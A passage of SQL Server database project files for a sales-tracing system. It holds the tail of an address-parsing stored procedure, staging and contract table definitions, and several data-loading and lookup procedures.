FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A
ON STAGE.fnFirstWord(WB_1) = A.ADDR_VAR AND CAT = 'Roadway'
OPTION (MERGE JOIN);
-------------------------- ADD_VAR is inside ------------------------------------
-- Get rid of the second part after ADD_VAR
UPDATE C SET
ST_NM = STAGE.fnGET_FirstPart(ST_NM, stage.fn_LastIndexOf(ST_NM,A.ADDR_VAR)-1),
ST_TYP = ADDR_STD,
STAT_1_CD = 91
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A
ON stage.fn_LastIndexOf(ST_NM,' '+A.ADDR_VAR+' ') > 0
AND A.CAT = 'ROADWAY'
WHERE STAT_1_CD = 0
AND STAGE.fnWordCount(ST_NM)>1;
-------------------------- LAST LETTER OF ST_NR ------------------------------------
----------------------------------------------------------------------------
-- TAKE OUT THE LAST LETTER FROM THE STREET NUMBER
-- as it most likely building number
-- but sometimes there is no space between street number and name - this wil fix that
----------------------------------------------------------------------------
-- CHECK THE STATUS AGAIN
-- Initiate
UPDATE MDM_STAGE.TEMP_ADDR SET WC_1 = NULL, WC_2= NULL
WHERE WC_1 IS NOT NULL OR WC_2 IS NOT NULL ;
-- FIRST TAKE THE NUMERIC PORTION OUT --
UPDATE MDM_STAGE.TEMP_ADDR SET
WC_1 = STAGE.fnGet_Num(ST_NR) ,
STAT_1_CD = 9
WHERE ISNUMERIC(RIGHT(ST_NR,1)) = 0 AND ISNUMERIC(LEFT(ST_NR,1)) = 1
AND RIGHT(ST_NR,2) NOT IN ('TH' ,'ST','ND','RD');
-- Then take the string portion out
UPDATE MDM_STAGE.TEMP_ADDR SET
WC_2 = RIGHT(ST_NR, LEN(ST_NR)-LEN(WC_1))
WHERE STAT_1_CD = 9 ;
-- Could the letter be direction --
UPDATE MDM_STAGE.TEMP_ADDR SET
DIR_1 = WC_2,
WC_2 = NULL
WHERE WC_2 IN ('N','S','E','W','NE','SW','NW','SE') AND DIR_1 IS NULL
AND STAT_1_CD = 9 ;
UPDATE MDM_STAGE.TEMP_ADDR SET
ST_NR_2 = CASE WHEN LEN(WC_2) = 1 THEN WC_2 ELSE ST_NR_2 END,
ST_NM = CASE WHEN LEN(WC_2) > 1 THEN WC_2+' '+ST_NM ELSE ST_NM END,
WC_2 = NULL,
STAT_1_CD = 1
WHERE WC_2 IS NOT NULL AND STAT_1_CD = 9 ;
-- Update with correct street number
UPDATE MDM_STAGE.TEMP_ADDR SET
ST_NR = CASE WHEN RIGHT(WC_1,1) IN ('-','+') THEN LEFT(WC_1, LEN(WC_1)-1) ELSE WC_1 END
WHERE WC_1 IS NOT NULL
---------------------------------------------- END OF ST_NR WITH LETTER ----------------------
----------------------------------------------------------------------------
-- WHEN There is no street number
----------------------------------------------------------------------------
---------------------------- S T A G E 4 ------------------------------------
-- Take care of ADDR 2
-- REMOVE # from WB_2
UPDATE MDM_STAGE.TEMP_ADDR SET
WB_2 = STAGE.fnRemoveSpace(REPLACE(WB_2,'#',' '))
-- 12 SEC, 528k
UPDATE MDM_STAGE.TEMP_ADDR SET WB_2 = STAGE.fnRemoveSpace(REPLACE(REPLACE(REPLACE(WB_2,' NO ',' '),' NR ',' '),' NUMBER ',' '));
UPDATE MDM_STAGE.TEMP_ADDR SET WB_2 = STAGE.fnRemoveSpace(REPLACE(REPLACE(REPLACE(WB_2,'(',' '),'-',' '),':',' '));
-- 6 SEC, 528k
UPDATE C SET
C.STE_NR = STAGE.fnSecondWord(WB_2),
C.WB_2 = STAGE.fnSecondPart(C.WB_2 , len(STAGE.fnFirstWord(WB_2)+' '+STAGE.fnSecondWord(WB_2))+1),
C.STAT_2_CD = 101
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WB_2) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'SUITE'
WHERE
C.STAT_2_CD = 0
AND WB_2 IS NOT NULL
OPTION(MERGE JOIN);
-- 12 sec - 518 K
-- Building
UPDATE C SET
C.BLDG_NR = STAGE.fnSecondWord(WB_2),
C.WB_2 = STAGE.fnSecondPart(C.WB_2 , len(STAGE.fnFirstWord(WB_2)+' '+STAGE.fnSecondWord(WB_2))+1),
C.STAT_2_CD = 102
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WB_2) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'BUILDING'
WHERE C.STAT_2_CD = 0
AND WB_2 IS NOT NULL
OPTION(MERGE JOIN);
-- 3 SEC, 8.3 k
-- Floor
UPDATE C SET
C.FL_NR = STAGE.fnLastWord(ADDR_STD),
C.WB_2 = STAGE.fnSecondPart(C.WB_2 , len(STAGE.fnFirstWord(WB_2)+' '+STAGE.fnSecondWord(WB_2))+1),
C.STAT_2_CD = 103
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WB_2)+' '+STAGE.fnSecondWord(WB_2) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'FLOOR'
WHERE C.STAT_2_CD = 0
AND WB_2 IS NOT NULL
OPTION(MERGE JOIN);
-------------------------------------------------------------
-- We need to repeat these one more time - to fully cleanse it
-------------------------------------------------------------
UPDATE C SET
C.STE_NR = STAGE.fnSecondWord(WB_2),
C.WB_2 = STAGE.fnSecondPart(C.WB_2 , len(STAGE.fnFirstWord(WB_2)+' '+STAGE.fnSecondWord(WB_2))+1),
C.STAT_2_CD = 121
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WB_2) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'SUITE'
WHERE C.STAT_2_CD > 100
AND WB_2 IS NOT NULL
OPTION(MERGE JOIN);
-- 1 sec - 6k
-- Building
UPDATE C SET
C.BLDG_NR = STAGE.fnSecondWord(WB_2),
C.WB_2 = STAGE.fnSecondPart(C.WB_2 , len(STAGE.fnFirstWord(WB_2)+' '+STAGE.fnSecondWord(WB_2))+1),
C.STAT_2_CD = 122
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WB_2) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'BUILDING'
WHERE C.STAT_2_CD > 100
AND WB_2 IS NOT NULL
OPTION(MERGE JOIN);
-- 1 sec - 358 rec
-- Floor
UPDATE C SET
C.FL_NR = STAGE.fnLastWord(ADDR_STD),
C.WB_2 = STAGE.fnSecondPart(C.WB_2 , len(STAGE.fnFirstWord(WB_2)+' '+STAGE.fnSecondWord(WB_2))+1),
C.STAT_2_CD = 123
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WB_2)+' '+STAGE.fnSecondWord(WB_2) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'FLOOR'
WHERE C.STAT_2_CD > 100
AND WB_2 IS NOT NULL
OPTION(MERGE JOIN);
-- 1 sec, 604
UPDATE MDM_STAGE.TEMP_ADDR SET
STE_NR = WB_2,
WB_2 = NULL,
STAT_2_CD = 131
WHERE STAT_2_CD = 0
AND stage.fnwordcount(WB_2) = 1
AND ISNUMERIC(WB_2) = 1
OPTION(MERGE JOIN);
-- 1 SEC, 50k
UPDATE MDM_STAGE.TEMP_ADDR SET STE_NR = STAGE.fnFirstWord(STAGE.fnRemoveSpace(REPLACE(REPLACE(REPLACE(STE_NR,'(',' '),'-',' '),':',' ')))
WHERE STE_NR IS NOT NULL;
UPDATE MDM_STAGE.TEMP_ADDR SET STAT_2_CD = 1 WHERE STAT_2_CD > 100;
--- TAKE MANY ROADWAYS ARE STILL IN ST_NM
UPDATE C SET
ST_TYP = A. ADDR_STD,
ST_NM = STAGE.fnGet_FirstPart(ST_NM,LEN(ST_NM)-LEN(A.ADDR_VAR)),
STAT_1_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnLastWord(ST_NM) = A.ADDR_VAR
AND CAT IN ('Roadway','Location')
WHERE ST_TYP IS NULL
AND (C.HWY_IN = 'N' OR C.HWY_IN IS NULL)
OPTION (MERGE JOIN) ;
-------------------------------------
--- LOAD DATA ----------------------
-------------------------------------
UPDATE MDM_STAGE.TEMP_ADDR SET STE_NR = NULL WHERE LEN(STE_NR)>5;
UPDATE MDM_STAGE.TEMP_ADDR SET BLDG_NR = NULL WHERE LEN(BLDG_NR)>5;
INSERT INTO MDM_STAGE.TEMP_ADDR_PARTS ( SRC_ID, ST_NR, ST_NR_2, DIR_1, ST_NM, ST_TYP, ST_DIR, BLDG_NR, FL_NR, STE_NR )
SELECT
SRC_ID,
ST_NR, ST_NR_2, DIR_1, ST_NM, ST_TYP ,
DIR_2, BLDG_NR, FL_NR, STE_NR
FROM MDM_STAGE.TEMP_ADDR
WHERE STAT_1_CD = 1 AND STAT_2_CD IN (-1,1)
DELETE FROM MDM_STAGE.TEMP_ADDR
WHERE STAT_1_CD = 1 AND STAT_2_CD IN (-1,1);
-----------------------------------------------------------------------
-- BLDG,STE, FLOOR Inside ADDR_2, instead of at the begining --
-----------------------------------------------------------------------
UPDATE C SET
C.STE_NR = STAGE.fnNEXTWORD (WB_2,A.ADDR_VAR),
C.WB_2 = REPLACE(C.WB_2 , A.ADDR_VAR+' '+STAGE.fnNEXTWORD (WB_2,A.ADDR_VAR),''),
C.STAT_2_CD = 141
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON WB_2 LIKE '% '+A.ADDR_VAR+' %'
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'SUITE'
WHERE stage.fnwordcount(WB_2) > 1;
-- 1 MIN -- 1946
UPDATE C SET
C.FL_NR = STAGE.fnLastWord (A.ADDR_STD),
C.WB_2 = REPLACE(C.WB_2, A.ADDR_VAR,''),
C.STAT_2_CD = 142
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON WB_2 LIKE '% '+A.ADDR_VAR+'%'
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'FLOOR'
WHERE stage.fnwordcount(WB_2) > 1;
-- 27 SEC 5K
UPDATE C SET
C.BLDG_NR = STAGE.fnNEXTWORD (WB_2,A.ADDR_VAR),
C.WB_2 = REPLACE(C.WB_2 , A.ADDR_VAR+' '+STAGE.fnNEXTWORD (WB_2,A.ADDR_VAR),''),
C.STAT_2_CD = 143
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON WB_2 LIKE '% '+A.ADDR_VAR+' %'
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'BUILDING'
WHERE stage.fnwordcount(WB_2) > 1;
-- 33 SEC, 33K
UPDATE MDM_STAGE.TEMP_ADDR SET STE_NR = STAGE.fnFirstWord(STAGE.fnRemoveSpace(REPLACE(REPLACE(REPLACE(STE_NR,'(',' '),'-',' '),':',' ')));
UPDATE MDM_STAGE.TEMP_ADDR SET STAT_2_CD = 1 WHERE STAT_2_CD > 100;
UPDATE MDM_STAGE.TEMP_ADDR SET STAT_1_CD = 1 WHERE ST_NM = 'BROADWAY';
UPDATE MDM_STAGE.TEMP_ADDR SET STAT_1_CD = 1 WHERE ST_NR IS NOT NULL;
UPDATE MDM_STAGE.TEMP_ADDR SET STE_NR = NULL WHERE LEN(STE_NR)>5;
UPDATE MDM_STAGE.TEMP_ADDR SET BLDG_NR = NULL WHERE LEN(BLDG_NR)>5;
INSERT INTO MDM_STAGE.TEMP_ADDR_PARTS ( SRC_ID, ST_NR, ST_NR_2, DIR_1, ST_NM, ST_TYP, ST_DIR, BLDG_NR, FL_NR, STE_NR )
SELECT
SRC_ID,
ST_NR, ST_NR_2, DIR_1, ST_NM, ST_TYP ,
DIR_2, BLDG_NR, FL_NR, STE_NR
FROM MDM_STAGE.TEMP_ADDR
WHERE STAT_1_CD = 1 --AND STAT_2_CD IN (-1,1)
DELETE FROM MDM_STAGE.TEMP_ADDR
WHERE STAT_1_CD = 1;
-- TRUNCATE TABLE MDM_STAGE.TEMP_ADDR
----------------- END ------------
END;<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/TEMP_DDI_2018_2.sql
CREATE TABLE [STAGE].[TEMP_DDI_2018_2] (
[SHPTO_NM] VARCHAR (200) NULL,
[SHPTO_ADDR_1] VARCHAR (100) NULL,
[SHPTO_ADDR_2] VARCHAR (100) NULL,
[UPD_CITY] VARCHAR (200) NULL,
[UPD_ST] CHAR (2) NULL,
[UPD_ZIP] CHAR (5) NULL,
[SALES] FLOAT (53) NULL,
[ID] INT IDENTITY (1, 1) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CONT/Tables/COMMUNICATION.sql
CREATE TABLE [CONT].[COMMUNICATION] (
[COMM_ID] INT IDENTITY (1, 1) NOT NULL,
[COMM_BY_USR_ID_FK] VARCHAR (50) NULL,
[CNTXT] VARCHAR (20) NOT NULL,
[COMM_USR_ID] VARCHAR (100) NULL,
[COMM] VARCHAR (4000) NULL,
[COMM_TYP_CD] VARCHAR (10) NULL,
[RESP_NEED_IN] CHAR (1) NULL,
[RESP_REQ_USR_ID] VARCHAR (100) NULL,
[COMM_DTTS] DATETIME NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CONT/Stored Procedures/GET_PRODUCT_PAGER.sql
CREATE PROCEDURE [CONT].[GET_PRODUCT_PAGER]
@SearchTerm VARCHAR(50) = ''
AS
BEGIN
SELECT TOP 1 [PROD_ID]
,[PRODUCT_DESC]
,[LIST_PRICE]
,[ASP6]
,[ASP12]
,[VIZ_TIER_1]
,[AMERI_TIER_1]
,[AMERI_TIER_2]
,[HPG_PRC]
,[CURR_VOL]
FROM [PROD].[PROD_PRC_COMPARISON]
where [PROD_ID]= @SearchTerm +'%'
END<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/SALES_TRACING_NON_EDI_ETL_Stage.sql
CREATE TABLE [STG0].[SALES_TRACING_NON_EDI_ETL_Stage] (
[ID] INT IDENTITY (1, 1) NOT NULL,
[SALES_PERIOD] VARCHAR (10) NULL,
[YEAR] CHAR (4) NULL,
[MNTH] CHAR (2) NULL,
[DAY] CHAR (2) NULL,
[RPT_DT] DECIMAL (8) NULL,
[DIST_ID] VARCHAR (48) NULL,
[DIST_NR] VARCHAR (15) NULL,
[TRC_TRANS_TYP] VARCHAR (MAX) NULL,
[TRC_CNT_ID] VARCHAR (MAX) NULL,
[TRC_PROD_ID] VARCHAR (MAX) NULL,
[TRC_PRC_TYP] VARCHAR (MAX) NULL,
[INV_ID] VARCHAR (MAX) NULL,
[INV_DT] VARCHAR (MAX) NULL,
[INV_DT_NR] VARCHAR (MAX) NULL,
[TRC_UNIT] VARCHAR (MAX) NULL,
[TRC_QTY_SLD] VARCHAR (MAX) NULL,
[TRC_CNT_PRC] VARCHAR (MAX) NULL,
[TRC_LIST_PRC] VARCHAR (MAX) NULL,
[TRC_DIST_PRC] VARCHAR (MAX) NULL,
[TRC_EXT_LIST_COST] VARCHAR (MAX) NULL,
[TRC_EXT_DIST_COST] INT NULL,
[TRC_EXT_CNT_COST] VARCHAR (MAX) NULL,
[TRC_RBT_AMT] VARCHAR (MAX) NULL,
[LINE_NR] VARCHAR (MAX) NULL,
[SHPTO_ID] VARCHAR (MAX) NULL,
[SHPTO_NM] VARCHAR (MAX) NULL,
[SHPTO_ADDR_1] VARCHAR (MAX) NULL,
[SHPTO_ADDR_2] VARCHAR (MAX) NULL,
[SHPTO_CITY] VARCHAR (MAX) NULL,
[SHPTO_ST] VARCHAR (MAX) NULL,
[SHPTO_ZIP] VARCHAR (MAX) NULL,
[SHPTO_TYP] VARCHAR (MAX) NULL,
[BILLTO_ID] VARCHAR (MAX) NULL,
[BILLTO_NM] VARCHAR (MAX) NULL,
[BILLTO_ADDR_1] VARCHAR (MAX) NULL,
[BILLTO_ADDR_2] VARCHAR (MAX) NULL,
[BILLTO_CITY] VARCHAR (MAX) NULL,
[BILLTO_ST] VARCHAR (MAX) NULL,
[BILLTO_ZIP] VARCHAR (MAX) NULL,
[BILLTO_TYP] VARCHAR (MAX) NULL,
[DBT_MEMO] VARCHAR (MAX) NULL,
[CURRENT TIMESTAMP] VARCHAR (50) NOT NULL,
[TRC_CS_PRC] DECIMAL (38, 8) NULL,
[CNT_EXP_DT] DATE NULL,
[TRC_UPDT_UNIT] CHAR (2) NULL,
[TRC_SALES_AMT] DECIMAL (38, 8) NULL,
[LIST_CS_PRC] DECIMAL (38, 4) NULL,
[TRC_EXT_RBT_AMT] VARCHAR (MAX) NULL,
[TRC_PROD_DESC] VARCHAR (MAX) NULL,
[LOAD_IN] CHAR (1) CONSTRAINT [DF_Constraint] DEFAULT ('P') NULL,
[CH_DIST_ID] VARCHAR (MAX) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Stored Procedures/spLOAD_EU_PHASE_1.sql
CREATE PROCEDURE [STG0].[spLOAD_EU_PHASE_1]
WITH EXEC AS CALLER
AS
BEGIN
BEGIN
INSERT INTO PDI_SALESTRACING_DEV.STG0.EU_PHASE_1
(DISTCOID, DISTID,
S.DISTACCTID, S.DISTACCTSHIPNAME, S.DISTACCTSHIPADDR1, S.DISTACCTSHIPADDR2,
S.DISTACCTSHIPCITY, S.DISTACCTSHIPSTATE, S.DISTACCTSHIPZIP, AVG_ANNUAL_SALES, PHASE_TYPE)
SELECT
DISTCOID, DISTID,
S.DISTACCTID, S.DISTACCTSHIPNAME, S.DISTACCTSHIPADDR1, S.DISTACCTSHIPADDR2,
S.DISTACCTSHIPCITY, S.DISTACCTSHIPSTATE, S.DISTACCTSHIPZIP,
SUM(S.COTOTALSALESAMNT)/3 AS AVG_ANNUAL_SALES, 'REV 10K' AS PHASE_TYPE
FROM PDI_SALESTRACING.STAGE.DDS_PDI_SAF_EXTRACT S
WHERE SALESPERIOD between 20150901 and 20180801
GROUP BY
DISTCOID, DISTID,
S.DISTACCTID, S.DISTACCTSHIPNAME, S.DISTACCTSHIPADDR1, S.DISTACCTSHIPADDR2,
S.DISTACCTSHIPCITY, S.DISTACCTSHIPSTATE, S.DISTACCTSHIPZIP
HAVING SUM(S.COTOTALSALESAMNT)/3 > 9999.99;
END
-- Bring in all the hospitals, no matter what the sale is for last two years
BEGIN
MERGE PDI_SALESTRACING_DEV.STG0.EU_PHASE_1 T
USING (
SELECT
DISTCOID, DISTID,
S.DISTACCTID, S.DISTACCTSHIPNAME, S.DISTACCTSHIPADDR1, S.DISTACCTSHIPADDR2,
S.DISTACCTSHIPCITY, S.DISTACCTSHIPSTATE, S.DISTACCTSHIPZIP,
SUM(S.COTOTALSALESAMNT)/3 AS AVG_ANNUAL_SALES, 'HOSPITAL' AS PHASE_TYPE
FROM PDI_SALESTRACING.STAGE.DDS_PDI_SAF_EXTRACT S
WHERE SALESPERIOD between 20160901 and 20180801
AND (S.COACCTSHIPNAME LIKE '%HOSPITAL%' or S.COACCTSHIPNAME like '% MEDICAL CTR%')
GROUP BY
DISTCOID, DISTID,
S.DISTACCTID, S.DISTACCTSHIPNAME, S.DISTACCTSHIPADDR1, S.DISTACCTSHIPADDR2,
S.DISTACCTSHIPCITY, S.DISTACCTSHIPSTATE, S.DISTACCTSHIPZIP
) S ON T.DISTCOID = S.DISTCOID AND T.DISTACCTID = S.DISTACCTID
WHEN NOT MATCHED BY TARGET THEN -- That means it is a new Contract
INSERT (
DISTCOID, DISTID,
DISTACCTID, DISTACCTSHIPNAME, DISTACCTSHIPADDR1, DISTACCTSHIPADDR2,
DISTACCTSHIPCITY, DISTACCTSHIPSTATE, DISTACCTSHIPZIP, AVG_ANNUAL_SALES, PHASE_TYPE
)
VALUES (
DISTCOID, DISTID,
DISTACCTID, DISTACCTSHIPNAME, DISTACCTSHIPADDR1, DISTACCTSHIPADDR2,
DISTACCTSHIPCITY, DISTACCTSHIPSTATE, DISTACCTSHIPZIP, AVG_ANNUAL_SALES, PHASE_TYPE
) ;
END
-- Bring in the DDS created mapping whihc may help the mapping
INSERT INTO STG0.DDS_EU (
DISTCOID, S.DISTACCTID,
COACCTID, COACCTTYPE, COACCTSHIPNAME, COACCTSHIPADDR1, COACCTSHIPADDR2,
COACCTSHIPCITY, COACCTSHIPSTATE, COACCTSHIPZIP, COACCTMAX
)
SELECT DISTINCT
S.DISTCOID, S.DISTACCTID,
COACCTID, COACCTTYPE, COACCTSHIPNAME, COACCTSHIPADDR1, COACCTSHIPADDR2,
COACCTSHIPCITY, COACCTSHIPSTATE, COACCTSHIPZIP, COACCTMAX
FROM PDI_SALESTRACING.STAGE.DDS_PDI_SAF_EXTRACT S
JOIN PDI_SALESTRACING_DEV.STG0.EU_PHASE_1 T ON T.DISTCOID = S.DISTCOID AND T.DISTACCTID = S.DISTACCTID
END;<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PDI_ASC_Physician_Referrals.sql
CREATE TABLE [STG0].[PDI_ASC_Physician_Referrals] (
[HOSPITAL_ID] VARCHAR (MAX) NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[NPI] VARCHAR (MAX) NULL,
[LAST_NAME] VARCHAR (MAX) NULL,
[FIRST_NAME] VARCHAR (MAX) NULL,
[HQ_CITY] VARCHAR (MAX) NULL,
[HQ_STATE] VARCHAR (MAX) NULL,
[SPECIALTY_PRIMARY] VARCHAR (MAX) NULL,
[PRIMARY_AFFILIATION_HOSPITAL_ID] VARCHAR (MAX) NULL,
[PRIMARY_AFFILIATION_HOSPITAL_NAME] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/EDI_TRGR.sql
CREATE TABLE [STAGE].[EDI_TRGR] (
[EDI_TRGR_ID_PK] INT NOT NULL,
[EDI_TRGR_CD] SMALLINT NULL,
[EDI_TRGR_DES] VARCHAR (20) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/PCM/Tables/PCM_COMM.sql
CREATE TABLE [PCM].[PCM_COMM] (
[PCM_COMM_ID] INT IDENTITY (1, 1) NOT NULL,
[CNT_ID] INT NOT NULL,
[COMM_BY_USR_ID] INT NOT NULL,
[COMM] VARCHAR (4000) NULL,
[COMM_TYP_ID_FK] INT NULL,
[COMM_TYP_CD] VARCHAR (10) NULL,
[RESP_NEED_IN] CHAR (1) NULL,
[CREAT_TS] DATETIME NULL,
[LAST_MOD_TS] DATETIME NULL
);
<file_sep>/PDI_SALESTRACING_DEV/GEOM/Tables/map.sql
CREATE TABLE [GEOM].[map] (
[ogr_fid] VARCHAR (10) NULL,
[zip_map] [sys].[geography] NULL,
[zip] VARCHAR (5) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/COMPANY_EU_1K.sql
CREATE TABLE [STAGE].[COMPANY_EU_1K] (
[DISTCOID] VARCHAR (20) NULL,
[DISTID] VARCHAR (8) NULL,
[DISTACCTID] VARCHAR (20) NULL,
[DISTACCTSHIPNAME] VARCHAR (50) NULL,
[DISTACCTSHIPADDR1] VARCHAR (50) NULL,
[DISTACCTSHIPADDR2] VARCHAR (50) NULL,
[DISTACCTSHIPCITY] VARCHAR (50) NULL,
[DISTACCTSHIPSTATE] VARCHAR (2) NULL,
[DISTACCTSHIPZIP] VARCHAR (10) NULL,
[COACCTID] VARCHAR (20) NULL,
[COACCTMAX] VARCHAR (20) NULL,
[SALES_SUM] NUMERIC (38, 2) NULL,
[ADDR1_NBR] VARCHAR (200) NULL,
[ADDR1_ST] VARCHAR (200) NULL,
[ADDR2_1] VARCHAR (40) NULL,
[ADDR2_2] VARCHAR (200) NULL,
[ISSUE] VARCHAR (20) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/GPO_FILEINFO_LOG.sql
CREATE TABLE [STG0].[GPO_FILEINFO_LOG] (
[id] INT IDENTITY (1, 1) NOT NULL,
[FolderPath] VARCHAR (255) NULL,
[FileName] VARCHAR (255) NULL,
[SheetName] VARCHAR (255) NULL,
[Rows] INT NULL,
[LastDateModified] DATETIME NULL,
[LastAccessTime] DATETIME NULL,
[FileSizeinKB] INT NULL,
[CURRENT TIMESTAMP] VARCHAR (50) DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spGET_PENDING_CONTRACTS.sql
CREATE PROCEDURE [CNT].[spGET_PENDING_CONTRACTS]
AS
BEGIN
SET NOCOUNT ON;
--SELECT CNT_NR,
-- G.GRP_SHRT_NM,
-- INIT_USR_NM,
-- CNT_INIT_DT,
-- CONVERT(VARCHAR, CNT_RVW_DL_DT, 101) AS CNT_RVW_DL_DT,
-- 'Post Feedback' AS CNT_TYP_CD,
-- CNT_STAT_CD,
-- PDI_GROUP_ID
--FROM PCM.PCM_CONT_PND C
-- JOIN PCM.PCM_GROUP G ON C.PDI_GROUP_ID = G.PDI_GRP_ID
SELECT
c.CONTRACT_ID_PK,
c.CNT_NR,
cmp.CMPNY_NM,
u.USR_FULL_NM,
'Pending Review'as CNT_STAT_CD,
'Post Feedback' AS CNT_TYP_CD,
CONVERT(VARCHAR(10),DATEADD(day,30,c.REC_EFF_DT),101) AS CNT_RVW_DL_DT
FROM CNT_DEV.CONTRACT c
INNER JOIN CMPNY.COMPANY cmp ON cmp.CMPNY_ID = c.BUYE_GRP_CMPNY_ID
INNER JOIN PCM.PCM_USER u ON u.USR_ID = c.user_ID
WHERE c.CNT_STAT_CD ='P'
END;
<file_sep>/PDI_SALESTRACING_DEV/PCM/Tables/PCM_CNT_TASK.sql
CREATE TABLE [PCM].[PCM_CNT_TASK] (
[CNT_TASK_ID] INT NULL,
[CNT_ID] INT NULL,
[USR_ID] INT NULL,
[ASGN_DT_TS] DATETIME NULL,
[ASSGN_BY_USER_ID] INT NULL,
[CMPLT_BY_DT] DATE NULL,
[TASK_STAT_CD] INT NULL,
[TASK_ACTIVE_IN] CHAR (1) NULL,
[CREAT_TS] DATETIME NULL,
[LAST_MOD_TS] DATETIME NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PDI_RELATIONSHIP.sql
CREATE TABLE [STG0].[PDI_RELATIONSHIP] (
[COMPANYID] VARCHAR (MAX) NULL,
[PARENTCOMPANYID] VARCHAR (MAX) NULL,
[RELATIONSHIPTYPE] VARCHAR (MAX) NULL,
[PARENTIDNCOUNT] VARCHAR (MAX) NULL,
[DISTANCETOCHILD] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/DIM_CONTRACT.sql
CREATE TABLE [STAGE].[DIM_CONTRACT] (
[CONTRACT_KEY] SMALLINT NOT NULL,
[CONTRACT_NO] VARCHAR (50) NOT NULL,
[GROUP_KEY] SMALLINT NOT NULL,
[GROUP_ID] VARCHAR (50) NULL,
[GROUP_NAME] VARCHAR (70) NULL,
[REFERENCE_NO] VARCHAR (100) NULL,
[CONTRACT_TYPE] CHAR (3) NULL,
[TIER_LEVEL] VARCHAR (20) NULL,
[GROUP_ADMIN_FEES] REAL NOT NULL,
[CURRENT_INDICATOR] NCHAR (10) NOT NULL,
[EFF_DATE] DATE NOT NULL,
[EXP_DATE] DATE NOT NULL,
[DIST_CONTRACT_NO] VARCHAR (50) NULL,
[ETL_AUDIT_KEY] INT NOT NULL,
[CURRENT TIMESTAMP] DATETIME NOT NULL,
[CNT_DESC] VARCHAR (MAX) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/Security/SNDBX.sql
CREATE SCHEMA [SNDBX]
AUTHORIZATION [NICEPAK\htarafder];
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/premier_cont_ref.sql
CREATE TABLE [STG0].[premier_cont_ref] (
[GPO_CNT_NR] VARCHAR (15) NULL,
[TIER_DESC] VARCHAR (250) NULL,
[MFG_CNT_NR] VARCHAR (15) NULL,
[TIER_NR] INT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/Security/CNT_DEV.sql
CREATE SCHEMA [CNT_DEV]
AUTHORIZATION [NICEPAK\htarafder];
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PDI_LTC_Hospice_Overview.sql
CREATE TABLE [STG0].[PDI_LTC_Hospice_Overview] (
[HOSPITAL_ID] VARCHAR (MAX) NULL,
[PROVIDER_NUMBER] VARCHAR (MAX) NULL,
[NPI_NUMBER] VARCHAR (MAX) NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[FIRM_TYPE] VARCHAR (MAX) NULL,
[HQ_ADDRESS] VARCHAR (MAX) NULL,
[HQ_CITY] VARCHAR (MAX) NULL,
[HQ_STATE] VARCHAR (MAX) NULL,
[HQ_ZIP_CODE] VARCHAR (MAX) NULL,
[HQ_PHONE] VARCHAR (MAX) NULL,
[DATE_FISCAL_YEAR_END] VARCHAR (MAX) NULL,
[NUM_REGISTERED_NURSES] VARCHAR (MAX) NULL,
[NETWORK_ID] VARCHAR (MAX) NULL,
[NETWORK_NAME] VARCHAR (MAX) NULL,
[NETWORK_PARENT_ID] VARCHAR (MAX) NULL,
[NETWORK_PARENT_NAME] VARCHAR (MAX) NULL,
[CRM_INTEGRATION_LINK] VARCHAR (MAX) NULL,
[CBSA_CODE] VARCHAR (MAX) NULL,
[CBSA_POPULATION_EST_MOST_RECENT] VARCHAR (MAX) NULL,
[CBSA_POPULATION_GROWTH_MOST_RECENT] VARCHAR (MAX) NULL,
